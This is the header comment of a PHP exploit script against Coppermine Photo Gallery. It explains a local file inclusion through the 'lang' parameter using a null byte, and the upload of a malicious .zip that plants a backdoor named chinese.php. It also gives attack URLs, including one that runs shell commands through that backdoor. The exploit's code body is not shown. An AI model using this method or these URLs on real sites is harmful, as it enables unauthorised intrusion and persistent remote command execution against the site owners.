#  -> this works regardless of any php.ini settings, you need a normal user    #

#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #

/* a short explaination:  arbitrary local inclusion issue in "lang"
   argument in init.inc.php , ex.:

   http://[target]/[path]/thumbnails.php?lang=../album/userpics/10002/shell.zip%00
   (by a null char, regardless of magic_quotes_gpc settings, because of
   Coppermine magic quotes disable code)

   we need to upload a malicious .zip file with php code inside in a personal
   album folder (no check on file contempt) and to include it (cycling inside
   folders we will search for it - a subfolder is created in album/userpics/ dir,
   it is numbered like this: 10000 + db userid).
   We don't see any ouput including it, so the .zip file install a backdoor
   called chinese.php inside Coppermine lang/ dir. Modify the .zip file code
   if you need. After first run, if succeeded, you can launch commands manually:

   http://[target]/[path]/lang/chinese.php?suntzu=netstat%20-ano

   however script checks if new "chinese language file" is already installed
                                                                              */
